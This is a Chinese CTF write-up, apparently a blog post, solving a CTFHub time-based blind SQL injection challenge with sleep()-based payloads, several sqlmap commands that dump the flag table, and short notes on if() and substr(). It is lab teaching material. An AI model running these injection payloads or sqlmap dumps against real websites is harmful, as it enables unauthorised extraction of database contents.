40,【5】CTFHUB WEB SQL 时间盲注

进入靶场

输入1

猜测其名称长度,为4时页面卡顿,确定长度

1 and if(length(database())=4,sleep(3),1)

根据之前几道题的经验,应该是sqli

1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)

1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)

1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)

确定为sqli

1 and if((select count(table_name) from information_schema.tables

where table_schema=database())=2,sleep(3),1)

确定表有2个,使用以下语句判断表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)

假设我已经判断出new和flag了

继续用如上方法判断字段数,字段名,一个一个判断flag里面的元素

工作量太大了,上sqlmap

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 --dbs

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli --tables

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag --columns

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag -C flag --dump

笔记

1.时间盲注最重要的工具就是sleep(),括号里面的数字就是页面加载需要的时间

2,if(A,B,C)

这是if语句,A语句正确时运行B,A语句错误时运行C

3,

substr(string, start, length)

string:要截取的源字符串。

start:开始截取的位置。如果 start 为正数,从字符串的左边开始计数;如果为负数,从字符串的右边开始计数。

length:要截取的字符长度。

相关推荐
-SGlow-3 小时前
MySQL相关概念和易错知识点(3)(表内容的CURD、内置函数)
linux·运维·服务器·数据库·mysql
飞翔的佩奇3 小时前
基于SpringBoot+MyBatis+MySQL+VUE实现的经方药食两用服务平台管理系统(附源码+数据库+毕业论文+部署教程+配套软件)
数据库·vue.js·spring boot·mysql·毕业设计·mybatis·经方药食两用平台
bing_1584 小时前
在多租户或多服务共享 Redis 时,如何做逻辑隔离或权限控制?
数据库·redis·缓存
ChaITSimpleLove4 小时前
PostgreSQL 中删除指定数据库下的所有表结构
数据库·postgresql·bash·sql 脚本·.net npgsql
孫治AllenSun6 小时前
【Mysql】字段隐式转换对where条件和join关联条件的影响
数据库·mysql·oracle
生涯にわたる学び6 小时前
数据库02 网页html01 day44
数据库·html
2301_793086877 小时前
Mysql group by
数据库·mysql
jllllyuz7 小时前
Spring中的事务是如何实现的
数据库·sql·spring
wangmengxxw8 小时前
Spring-常用注解
java·数据库·spring·注解
m0_747266098 小时前
contentprovider实验+SQLite数据库的实现
数据库·sqlite